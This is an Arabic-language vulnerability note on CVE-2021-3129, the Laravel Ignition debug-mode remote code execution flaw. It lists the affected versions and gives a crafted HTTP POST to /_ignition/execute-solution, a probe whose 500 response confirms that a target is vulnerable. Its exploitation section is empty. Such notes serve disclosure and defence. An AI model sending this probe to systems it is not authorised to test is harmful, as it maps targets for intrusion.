CVE-2021-3129

Laravel RCE CVE-2021-3129

نظرة عامة على الثغرة

عندما يتم تمكين وضع التصحيح (Debug) في Laravel، نظرًا للاستخدام غير الآمن للدوال file_get_contents() و file_put_contents() من قبل مكون Ignition المدمج في Laravel، يمكن للمهاجم إرسال طلبات ضارة، وإنشاء ملفات Log خبيثة بطرق تؤدي إلى تشغيل إلغاء التسلسل لـ Phar، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بعد.

الإصدارات المتأثرة

Laravel <= 8.4.2

التحقق من الثغرة

• إرجاع 500 يثبت وجود الثغرة

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

سيناريو الاستغلال

المراجع

[CVE-2021-3129]Laravel Debug mode RCE إعادة إنتاج | tyskillのBlog